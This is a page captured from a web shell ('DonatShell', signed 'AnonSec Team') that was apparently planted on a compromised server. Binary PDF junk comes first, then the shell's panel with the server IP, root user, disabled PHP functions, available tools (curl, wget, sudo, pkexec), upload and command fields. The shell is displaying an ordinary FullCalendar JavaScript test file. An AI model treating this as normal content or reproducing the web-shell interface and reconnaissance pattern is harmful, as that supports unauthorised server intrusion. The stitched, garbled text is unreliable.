%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/eventLimitClick.js
describe('eventLimitClick', function() { // simulate a click

  pushOptions({
    defaultDate: '2014-08-01', // important that it is the first week, so works w/ month + week views
    defaultView: 'dayGridMonth',
    eventLimit: 3,
    events: [
      { title: 'event1', start: '2014-07-29' },
      { title: 'event2', start: '2014-07-29' },
      { title: 'event2', start: '2014-07-29' },
      { title: 'event2', start: '2014-07-29' }
    ]
  })

  describe('when set to "popover"', function() {

    pushOptions({
      eventLimitClick: 'popover'
    })

    it('renders a popover upon click', function() {
      initCalendar()
      $('.fc-more').simulate('click')
      expect($('.fc-more-popover')).toBeVisible()
    })

    // more popover tests are done in eventLimit-popover
  })

  describe('when set to "week"', function() {

    pushOptions({
      eventLimitClick: 'week'
    })

    it('should go to dayGridWeek if it is one of the available views', function() {
      initCalendar({
        header: {
          left: 'prev,next today',
          center: 'title',
          right: 'dayGridMonth,dayGridWeek,dayGridDay'
        }
      })
      $('.fc-more').simulate('click')
      var view = currentCalendar.view
      expect(view.type).toBe('dayGridWeek')
    })

    it('should go to week if it is one of the available views', function() {
      initCalendar({
        header: {
          left: 'prev,next today',
          center: 'title',
          right: 'dayGridMonth,timeGridWeek,timeGridDay'
        }
      })
      $('.fc-more').simulate('click')
      var view = currentCalendar.view
      expect(view.type).toBe('timeGridWeek')
    })
  })

  describe('when set to "day"', function() {

    pushOptions({
      eventLimitClick: 'day'
    })

    it('should go to dayGridDay if it is one of the available views', function() {
      initCalendar({
        header: {
          left: 'prev,next today',
          center: 'title',
          right: 'dayGridMonth,dayGridWeek,dayGridDay'
        }
      })
      $('.fc-more').simulate('click')
      var view = currentCalendar.view
      expect(view.type).toBe('dayGridDay')
    })

    it('should go to day if it is one of the available views', function() {
      initCalendar({
        header: {
          left: 'prev,next today',
          center: 'title',
          right: 'dayGridMonth,timeGridWeek,timeGridDay'
        }
      })
      $('.fc-more').simulate('click')
      var view = currentCalendar.view
      expect(view.type).toBe('timeGridDay')
    })
  })

  it('works with an explicit view name', function() {
    initCalendar({
      eventLimitClick: 'timeGridWeek',
      header: {
        left: 'prev,next today',
        center: 'title',
        right: 'dayGridMonth,dayGridWeek,dayGridDay'
      }
    })
    $('.fc-more').simulate('click')
    var view = currentCalendar.view
    expect(view.type).toBe('timeGridWeek')
  })

  it('works with custom function and all the arguments are correct', function() {
    initCalendar({
      eventLimitClick: function(arg) {
        expect(typeof arg).toBe('object')
        expect(arg.date).toEqualDate('2014-07-29')
        expect(arg.dayEl.getAttribute('data-date')).toBe('2014-07-29')
        expect(arg.hiddenSegs.length).toBe(2)
        expect(arg.segs.length).toBe(4)
        expect(arg.moreEl).toHaveClass('fc-more')
        expect(typeof arg.jsEvent).toBe('object')
      }
    })
    $('.fc-more').simulate('click')
  })

  it('works with custom function, and can return a view name', function() {
    initCalendar({
      eventLimitClick: function(cellInfo, jsEvent) {
        return 'timeGridDay'
      }
    })
    $('.fc-more').simulate('click')
    var view = currentCalendar.view
    expect(view.type).toBe('timeGridDay')
  })

})

Anon7 - 2022
AnonSec Team